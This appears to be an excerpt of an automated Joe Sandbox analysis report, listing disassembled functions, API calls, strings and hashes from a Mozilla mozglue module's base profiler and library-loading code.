strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpu), ref: 6C65CDF0
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,notimerresolutionchange), ref: 6C65CE06
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpuallthreads), ref: 6C65CE1C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,samplingallthreads), ref: 6C65CE32
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,markersallthreads), ref: 6C65CE48
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,unregisteredthreads), ref: 6C65CE5E
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,processcpu), ref: 6C65CE74
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,power), ref: 6C65CE8A

Strings

mainthreadio, xrefs: 6C65CC7C
fileio, xrefs: 6C65CC92
leaf, xrefs: 6C65CC66
unregisteredthreads, xrefs: 6C65CE58
default, xrefs: 6C65CC21
ipcmessages, xrefs: 6C65CDBE
markersallthreads, xrefs: 6C65CE42
nostacksampling, xrefs: 6C65CD7C
notimerresolutionchange, xrefs: 6C65CE00
preferencereads, xrefs: 6C65CD92
samplingallthreads, xrefs: 6C65CE2C
power, xrefs: 6C65CE84
Unrecognized feature "%s"., xrefs: 6C65CEA0
processcpu, xrefs: 6C65CE6E
java, xrefs: 6C65CC37
fileioall, xrefs: 6C65CCA8
stackwalk, xrefs: 6C65CCF8
noiostacks, xrefs: 6C65CCBE
cpuallthreads, xrefs: 6C65CE16
screenshots, xrefs: 6C65CCD4
jsallocations, xrefs: 6C65CD0E
nativeallocations, xrefs: 6C65CDA8
audiocallbacktracing, xrefs: 6C65CDD4
seqstyle, xrefs: 6C65CCE6

Memory Dump Source

Source File: 00000000.00000002.2479076458.000000006C611000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2479037645.000000006C610000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479177258.000000006C68D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479765182.000000006C69E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479926608.000000006C6A2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: strcmp
String ID: Unrecognized feature "%s".$audiocallbacktracing$cpuallthreads$default$fileio$fileioall$ipcmessages$java$jsallocations$leaf$mainthreadio$markersallthreads$nativeallocations$noiostacks$nostacksampling$notimerresolutionchange$power$preferencereads$processcpu$samplingallthreads$screenshots$seqstyle$stackwalk$unregisteredthreads
API String ID: 1004003707-2809817890
Opcode ID: 137e88b664fa4c9af193b1491c9972f7bb41c1425448d9fc46ed11b4518e7b49
Instruction ID: a270fb9001a12d182d1d282f6b3c49c85512af031004c0678d07f78684919bc3
Opcode Fuzzy Hash: 137e88b664fa4c9af193b1491c9972f7bb41c1425448d9fc46ed11b4518e7b49
Instruction Fuzzy Hash: 885146D1A4772572FA0031256D20BAA1489EF5B349FB04636DF07E1E80FA09962BC5BF

Function 6C6247C0 Relevance: 49.2, APIs: 23, Strings: 5, Instructions: 232threadCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6C624801
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C624817
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C62482D
__Init_thread_footer.LIBCMT ref: 6C62484A

Part of subcall function 6C64AB3F: EnterCriticalSection.KERNEL32(6C69E370,?,?,6C613527,6C69F6CC,?,?,?,?,?,?,?,?,6C613284), ref: 6C64AB49
Part of subcall function 6C64AB3F: LeaveCriticalSection.KERNEL32(6C69E370,?,6C613527,6C69F6CC,?,?,?,?,?,?,?,?,6C613284,?,?,6C6356F6), ref: 6C64AB7C

GetCurrentThreadId.KERNEL32 ref: 6C62485F
GetCurrentThreadId.KERNEL32 ref: 6C62487E
AcquireSRWLockExclusive.KERNEL32(6C69F4B8), ref: 6C62488B
free.MOZGLUE(?), ref: 6C62493A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C624956
free.MOZGLUE(00000000), ref: 6C624960
ReleaseSRWLockExclusive.KERNEL32(6C69F4B8), ref: 6C62499A

Part of subcall function 6C64AB89: EnterCriticalSection.KERNEL32(6C69E370,?,?,?,6C6134DE,6C69F6CC,?,?,?,?,?,?,?,6C613284), ref: 6C64AB94
Part of subcall function 6C64AB89: LeaveCriticalSection.KERNEL32(6C69E370,?,6C6134DE,6C69F6CC,?,?,?,?,?,?,?,6C613284,?,?,6C6356F6), ref: 6C64ABD1

free.MOZGLUE(?), ref: 6C6249C6
free.MOZGLUE(?), ref: 6C6249E9

Part of subcall function 6C635E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C635EDB
Part of subcall function 6C635E90: memset.VCRUNTIME140(ewgl,000000E5,?), ref: 6C635F27
Part of subcall function 6C635E90: LeaveCriticalSection.KERNEL32(?), ref: 6C635FB2

Strings

MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C6247FC
MOZ_PROFILER_SHUTDOWN, xrefs: 6C624A42
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C624828
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C624812
[I %d/%d] profiler_shutdown, xrefs: 6C624A06

Memory Dump Source

Source File: 00000000.00000002.2479076458.000000006C611000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2479037645.000000006C610000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479177258.000000006C68D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479765182.000000006C69E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479926608.000000006C6A2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: CriticalSection$free$EnterLeavegetenv$CurrentExclusiveLockThread$AcquireInit_thread_footerReleasememset
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_SHUTDOWN$[I %d/%d] profiler_shutdown
API String ID: 1340022502-4194431170
Opcode ID: 6626df99ca74f4686fd19d5f01ecee7a3ec31e59c11c4709317d29dc40157479
Instruction ID: 94271351636785d062078724bf4592845b3c55ffa4b300aae0fded48007d1f83
Opcode Fuzzy Hash: 6626df99ca74f4686fd19d5f01ecee7a3ec31e59c11c4709317d29dc40157479
Instruction Fuzzy Hash: 72811471A001128BDB10DF29C8847AA3775FF42328F150229E916DBB86D7B9E855CF9F

Function 6C624470 Relevance: 45.7, APIs: 20, Strings: 6, Instructions: 178libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C624730: GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C6244B2,6C69E21C,6C69F7F8), ref: 6C62473E
Part of subcall function 6C624730: GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C62474A

GetModuleHandleW.KERNEL32(WRusr.dll), ref: 6C6244BA
LoadLibraryW.KERNEL32(kernel32.dll), ref: 6C6244D2
InitOnceExecuteOnce.KERNEL32(6C69F80C,6C61F240,?,?), ref: 6C62451A
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C62455C
LoadLibraryW.KERNEL32(?), ref: 6C624592
InitializeCriticalSection.KERNEL32(6C69F770), ref: 6C6245A2
moz_xmalloc.MOZGLUE(00000008), ref: 6C6245AA
moz_xmalloc.MOZGLUE(00000018), ref: 6C6245BB
InitOnceExecuteOnce.KERNEL32(6C69F818,6C61F240,?,?), ref: 6C624612
?IsWin32kLockedDown@mozilla@@YA_NXZ.MOZGLUE ref: 6C624636
LoadLibraryW.KERNEL32(user32.dll), ref: 6C624644
memset.VCRUNTIME140(?,00000000,00000114), ref: 6C62466D
VerSetConditionMask.NTDLL ref: 6C62469F
VerSetConditionMask.NTDLL ref: 6C6246AB
VerSetConditionMask.NTDLL ref: 6C6246B2
VerSetConditionMask.NTDLL ref: 6C6246B9
VerSetConditionMask.NTDLL ref: 6C6246C0
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C6246CD
GetModuleHandleW.KERNEL32(00000000), ref: 6C6246F1
GetProcAddress.KERNEL32(00000000,NativeNtBlockSet_Write), ref: 6C6246FD

Strings

Gil, xrefs: 6C6244FC
NativeNtBlockSet_Write, xrefs: 6C6246F7
kernel32.dll, xrefs: 6C6244CD
l, xrefs: 6C624578
WRusr.dll, xrefs: 6C6244B5
user32.dll, xrefs: 6C624557, 6C62463F

Memory Dump Source

Source File: 00000000.00000002.2479076458.000000006C611000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2479037645.000000006C610000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479177258.000000006C68D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479765182.000000006C69E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479926608.000000006C6A2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: ConditionMask$HandleModuleOnce$LibraryLoad$AddressExecuteInitProcmoz_xmalloc$CriticalDown@mozilla@@InfoInitializeLockedSectionVerifyVersionWin32kmemset
String ID: Gil$NativeNtBlockSet_Write$WRusr.dll$kernel32.dll$l$user32.dll
API String ID: 1702738223-419400857
Opcode ID: 65fc1f00396cb570c8b1031a1829685bb99c23d6f3caabfd505f75c854426e48
Instruction ID: 4d5ed95c3f85b7ad69514f0f7f4faffaf1ecb4443f1a1c64794ac320c7113422
Opcode Fuzzy Hash: 65fc1f00396cb570c8b1031a1829685bb99c23d6f3caabfd505f75c854426e48
Instruction Fuzzy Hash: EA6125B0604346AFEB108F62CC89BA57BB8EF87348F148458F5449B641D7F98945CFAE

Function 6C65F6E0 Relevance: 35.2, APIs: 16, Strings: 4, Instructions: 235threadstringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C659420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C624A68), ref: 6C65945E
Part of subcall function 6C659420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C659470
Part of subcall function 6C659420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C659482
Part of subcall function 6C659420: __Init_thread_footer.LIBCMT ref: 6C65949F

GetCurrentThreadId.KERNEL32 ref: 6C65F70E
??$AddMarker@UTextMarker@markers@baseprofiler@mozilla@@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@baseprofiler@mozilla@@YA?AVProfileBufferBlockIndex@1@ABV?$ProfilerStringView@D@1@ABVMarkerCategory@1@$$QAVMarkerOptions@1@UTextMarker@markers@01@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@Z.MOZGLUE ref: 6C65F8F9

Part of subcall function 6C626390: GetCurrentThreadId.KERNEL32 ref: 6C6263D0
Part of subcall function 6C626390: AcquireSRWLockExclusive.KERNEL32 ref: 6C6263DF
Part of subcall function 6C626390: ReleaseSRWLockExclusive.KERNEL32 ref: 6C62640E

ReleaseSRWLockExclusive.KERNEL32(6C69F4B8), ref: 6C65F93A
GetCurrentThreadId.KERNEL32 ref: 6C65F98A
GetCurrentThreadId.KERNEL32 ref: 6C65F990
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C65F994
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C65F716

Part of subcall function 6C6594D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6594EE
Part of subcall function 6C6594D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C659508

Part of subcall function 6C61B5A0: memcpy.VCRUNTIME140(?,?,?,?,00000000), ref: 6C61B5E0

GetCurrentThreadId.KERNEL32 ref: 6C65F739
AcquireSRWLockExclusive.KERNEL32(6C69F4B8), ref: 6C65F746
GetCurrentThreadId.KERNEL32 ref: 6C65F793
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,6C69385B,00000002,?,?,?,?,?), ref: 6C65F829
free.MOZGLUE(?,?,00000000,?), ref: 6C65F84C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?," attempted to re-register as ",0000001F,?,00000000,?), ref: 6C65F866
free.MOZGLUE(?), ref: 6C65FA0C

Part of subcall function 6C625E60: moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6255E1), ref: 6C625E8C
Part of subcall function 6C625E60: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C625E9D
Part of subcall function 6C625E60: GetCurrentThreadId.KERNEL32 ref: 6C625EAB
Part of subcall function 6C625E60: GetCurrentThreadId.KERNEL32 ref: 6C625EB8
Part of subcall function 6C625E60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C625ECF
Part of subcall function 6C625E60: moz_xmalloc.MOZGLUE(00000024), ref: 6C625F27
Part of subcall function 6C625E60: moz_xmalloc.MOZGLUE(00000004), ref: 6C625F47
Part of subcall function 6C625E60: GetCurrentProcess.KERNEL32 ref: 6C625F53
Part of subcall function 6C625E60: GetCurrentThread.KERNEL32 ref: 6C625F5C
Part of subcall function 6C625E60: GetCurrentProcess.KERNEL32 ref: 6C625F66
Part of subcall function 6C625E60: DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C625F7E

free.MOZGLUE(?), ref: 6C65F9C5
free.MOZGLUE(?), ref: 6C65F9DA

Strings

Thread , xrefs: 6C65F789
" attempted to re-register as ", xrefs: 6C65F858
[D %d/%d] profiler_register_thread(%s), xrefs: 6C65F71F
[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s, xrefs: 6C65F9A6

Memory Dump Source

Source File: 00000000.00000002.2479076458.000000006C611000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2479037645.000000006C610000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479177258.000000006C68D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479765182.000000006C69E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479926608.000000006C6A2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: Current$Thread$ExclusiveLockfree$getenvmoz_xmallocstrlen$AcquireD@std@@MarkerProcessReleaseTextU?$char_traits@V?$allocator@V?$basic_string@_getpid$BlockBufferCategory@1@$$D@1@D@2@@std@@@D@2@@std@@@baseprofiler@mozilla@@DuplicateHandleIndex@1@Init_thread_footerMarker@Marker@markers@01@Marker@markers@baseprofiler@mozilla@@Now@Options@1@ProfileProfilerStamp@mozilla@@StringTimeV12@_View@__acrt_iob_func__stdio_common_vfprintfmemcpy
String ID: " attempted to re-register as "$Thread $[D %d/%d] profiler_register_thread(%s)$[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s
API String ID: 882766088-1834255612
Opcode ID: c13a371efa82e3656e88e4c08df008edf516df1b996584a3a3bf343a7517a035
Instruction ID: 5b7e064ee694c8854f0fcd7ec433194e69b1105684d10c9d7ff5647ad4b9ff1a
Opcode Fuzzy Hash: c13a371efa82e3656e88e4c08df008edf516df1b996584a3a3bf343a7517a035
Instruction Fuzzy Hash: 418126B06047019FDB10DF25C880AAAB7B5EFC6308F91452DE84987B51EB309859CBAF

Function 6C65EE40 Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 166threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C659420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C624A68), ref: 6C65945E
Part of subcall function 6C659420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C659470
Part of subcall function 6C659420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C659482
Part of subcall function 6C659420: __Init_thread_footer.LIBCMT ref: 6C65949F

GetCurrentThreadId.KERNEL32 ref: 6C65EE60
AcquireSRWLockExclusive.KERNEL32(6C69F4B8), ref: 6C65EE6D
ReleaseSRWLockExclusive.KERNEL32(6C69F4B8), ref: 6C65EE92
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C65EEA5
CloseHandle.KERNEL32(?), ref: 6C65EEB4
free.MOZGLUE(00000000), ref: 6C65EEBB
GetCurrentThreadId.KERNEL32 ref: 6C65EEC7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C65EECF

Part of subcall function 6C65DE60: GetCurrentThreadId.KERNEL32 ref: 6C65DE73
Part of subcall function 6C65DE60: _getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6C624A68), ref: 6C65DE7B
Part of subcall function 6C65DE60: ?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6C624A68), ref: 6C65DEB8
Part of subcall function 6C65DE60: free.MOZGLUE(00000000,?,6C624A68), ref: 6C65DEFE
Part of subcall function 6C65DE60: ?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6C65DF38

Part of subcall function 6C64CBE8: GetCurrentProcess.KERNEL32(?,6C6131A7), ref: 6C64CBF1
Part of subcall function 6C64CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C6131A7), ref: 6C64CBFA

GetCurrentThreadId.KERNEL32 ref: 6C65EF1E
AcquireSRWLockExclusive.KERNEL32(6C69F4B8), ref: 6C65EF2B
ReleaseSRWLockExclusive.KERNEL32(6C69F4B8), ref: 6C65EF59
GetCurrentThreadId.KERNEL32 ref: 6C65EFB0
AcquireSRWLockExclusive.KERNEL32(6C69F4B8), ref: 6C65EFBD
ReleaseSRWLockExclusive.KERNEL32(6C69F4B8), ref: 6C65EFE1
GetCurrentThreadId.KERNEL32 ref: 6C65EFF8
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C65F000

Part of subcall function 6C6594D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6594EE
Part of subcall function 6C6594D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C659508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C65F02F

Part of subcall function 6C65F070: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C65F09B
Part of subcall function 6C65F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6C65F0AC
Part of subcall function 6C65F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6C65F0BE

Strings

[I %d/%d] profiler_stop, xrefs: 6C65EED7
[I %d/%d] profiler_pause, xrefs: 6C65F008

Memory Dump Source

Source File: 00000000.00000002.2479076458.000000006C611000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2479037645.000000006C610000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479177258.000000006C68D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479765182.000000006C69E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479926608.000000006C6A2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: CurrentThread$ExclusiveLock$Release$AcquireTime_getpidgetenv$ProcessStampV01@@Value@mozilla@@free$?profiler_time@baseprofiler@mozilla@@BufferCloseEnterExit@mozilla@@HandleInit_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@Now@ObjectProfilerRegisterSingleStamp@mozilla@@TerminateV12@_Wait__acrt_iob_func__stdio_common_vfprintf
String ID: [I %d/%d] profiler_pause$[I %d/%d] profiler_stop
API String ID: 16519850-1833026159
Opcode ID: 9d81c675f52dac2e03264fe421a54ecb61fcd6a2719ac9e5140114a6477477d8
Instruction ID: 2d1e37ec26f781f9f593477a9903520807e5443ccdb97f12bab0df3024f38405
Opcode Fuzzy Hash: 9d81c675f52dac2e03264fe421a54ecb61fcd6a2719ac9e5140114a6477477d8
Instruction Fuzzy Hash: E35105317002129FDF109F66D4887A937B8EF87758F614526F91583B41CB355825CBAF

Function 6C627FD0 Relevance: 29.9, APIs: 16, Strings: 1, Instructions: 166COMMON

Download Yara Rule

APIs

K32EnumProcessModules.KERNEL32(000000FF,00000000,00000000,?), ref: 6C628007
moz_xmalloc.MOZGLUE(?,000000FF,00000000,00000000,?), ref: 6C62801D

Part of subcall function 6C62CA10: malloc.MOZGLUE(?), ref: 6C62CA26

memset.VCRUNTIME140(00000000,00000000,?,?), ref: 6C62802B
K32EnumProcessModules.KERNEL32(000000FF,00000000,?,?,?,?,?,?), ref: 6C62803D
moz_xmalloc.MOZGLUE(00000104,000000FF,00000000,?,?,?,?,?,?), ref: 6C62808D

Part of subcall function 6C62CA10: mozalloc_abort.MOZGLUE(?), ref: 6C62CAA2

memset.VCRUNTIME140(00000000,00000000,00000104,?,?,?,?,?), ref: 6C62809B
GetModuleFileNameW.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 6C6280B9
moz_xmalloc.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6C6280DF
memset.VCRUNTIME140(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6280ED
wcscpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6280FB
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C62810D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6C628133
free.MOZGLUE(00000000,000000FF,00000000,?,?,?,?,?,?), ref: 6C628149
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?), ref: 6C628167
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?), ref: 6C62817C
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C628199

Strings

0>el, xrefs: 6C62811E

Memory Dump Source

Source File: 00000000.00000002.2479076458.000000006C611000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2479037645.000000006C610000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479177258.000000006C68D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479765182.000000006C69E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479926608.000000006C6A2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: free$memsetmoz_xmalloc$EnumModulesProcess$ErrorFileLastModuleNamemallocmozalloc_abortwcscpy_s
String ID: 0>el
API String ID: 2721933968-2736020918
Opcode ID: a4a8c1e98cdca7218ecea666c9024c408f891669b29aa118067b206796b87368
Instruction ID: 2e5b42cae6f82676e49c8c6a92402d0d708921346020b088bb206410f1f8eb2b
Opcode Fuzzy Hash: a4a8c1e98cdca7218ecea666c9024c408f891669b29aa118067b206796b87368
Instruction Fuzzy Hash: 7F51B4B2E002156BDB00DFA9DC84AEFB7B9AF49324F140125E815E7391E734ED05CBA9

Function 6C625E60 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 182threadstringtimeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C625E9D

Part of subcall function 6C635B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C6356EE,?,00000001), ref: 6C635B85
Part of subcall function 6C635B50: EnterCriticalSection.KERNEL32(6C69F688,?,?,?,6C6356EE,?,00000001), ref: 6C635B90
Part of subcall function 6C635B50: LeaveCriticalSection.KERNEL32(6C69F688,?,?,?,6C6356EE,?,00000001), ref: 6C635BD8
Part of subcall function 6C635B50: GetTickCount64.KERNEL32 ref: 6C635BE4

GetCurrentThreadId.KERNEL32 ref: 6C625EAB
GetCurrentThreadId.KERNEL32 ref: 6C625EB8
strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C625ECF
memcpy.VCRUNTIME140(00000000,GeckoMain,00000000), ref: 6C626017

Part of subcall function 6C614310: moz_xmalloc.MOZGLUE(00000010,?,6C6142D2), ref: 6C61436A
Part of subcall function 6C614310: memcpy.VCRUNTIME140(00000023,?,?,?,?,6C6142D2), ref: 6C614387

moz_xmalloc.MOZGLUE(00000004), ref: 6C625F47
GetCurrentProcess.KERNEL32 ref: 6C625F53
GetCurrentThread.KERNEL32 ref: 6C625F5C
GetCurrentProcess.KERNEL32 ref: 6C625F66
DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C625F7E
moz_xmalloc.MOZGLUE(00000024), ref: 6C625F27

Part of subcall function 6C62CA10: mozalloc_abort.MOZGLUE(?), ref: 6C62CAA2

moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6255E1), ref: 6C625E8C

Part of subcall function 6C62CA10: malloc.MOZGLUE(?), ref: 6C62CA26

moz_xmalloc.MOZGLUE(00000050,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6255E1), ref: 6C62605D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6255E1), ref: 6C6260CC

Strings

GeckoMain, xrefs: 6C625ECE, 6C626015

Memory Dump Source

Source File: 00000000.00000002.2479076458.000000006C611000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2479037645.000000006C610000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479177258.000000006C68D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479765182.000000006C69E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479926608.000000006C6A2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: Currentmoz_xmalloc$Thread$CriticalProcessSectionmemcpy$Count64CounterDuplicateEnterHandleLeaveNow@PerformanceQueryStamp@mozilla@@TickTimeV12@_freemallocmozalloc_abortstrlen
String ID: GeckoMain
API String ID: 3711609982-966795396
Opcode ID: dbfc50aa096896ba5cf320e98e9ca0a0cdce9738ed456d3720a9e6eaa1fe2f1b
Instruction ID: c028400819286c635416eac58a1b7a3e14d27e44fbdd02d0659d59847e55f901
Opcode Fuzzy Hash: dbfc50aa096896ba5cf320e98e9ca0a0cdce9738ed456d3720a9e6eaa1fe2f1b
Instruction Fuzzy Hash: 7071CFB0A047419FD710DF29C480A6ABBF0FF8A304F14496DE98687B52D774E848CF9A

Function 6C629590 Relevance: 24.7, APIs: 10, Strings: 4, Instructions: 192libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C6131C0: LoadLibraryW.KERNEL32(KernelBase.dll), ref: 6C613217
Part of subcall function 6C6131C0: GetProcAddress.KERNEL32(00000000,QueryInterruptTime), ref: 6C613236
Part of subcall function 6C6131C0: FreeLibrary.KERNEL32 ref: 6C61324B
Part of subcall function 6C6131C0: __Init_thread_footer.LIBCMT ref: 6C613260
Part of subcall function 6C6131C0: ?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(?), ref: 6C61327F
Part of subcall function 6C6131C0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C61328E
Part of subcall function 6C6131C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C6132AB
Part of subcall function 6C6131C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C6132D1
